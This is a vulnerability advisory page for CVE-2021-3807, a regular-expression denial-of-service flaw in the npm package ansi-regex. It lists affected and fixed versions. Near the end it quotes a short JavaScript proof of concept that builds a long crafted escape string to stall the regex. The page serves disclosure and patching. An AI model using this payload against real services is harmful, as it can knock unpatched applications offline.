Answer in brief
CVE-2021-3807 records a High severity (CVSS 7.5) vulnerability in Inefficient Regular Expression Complexity in chalk/ansi-regex. The current sources do not mark it as known exploited. The current feed maps ansi-regex (npm), ansi-regex (npm), ansi-regex (npm), ansi-regex (npm). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps ansi-regex (npm), ansi-regex (npm), ansi-regex (npm), ansi-regex (npm). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| ansi-regexnpm | >=6.0.0 <6.0.1 | 6.0.1 |
| ansi-regexnpm | >=5.0.0 <5.0.1 | 5.0.1 |
| ansi-regexnpm | >=4.0.0 <4.1.1 | 4.1.1 |
| ansi-regexnpm | >=3.0.0 <3.0.1 | 3.0.1 |
Published upstream
Sep 20, 2021
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Sep 10, 2026
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
Quoted source text, attributed separately from HOL analysis.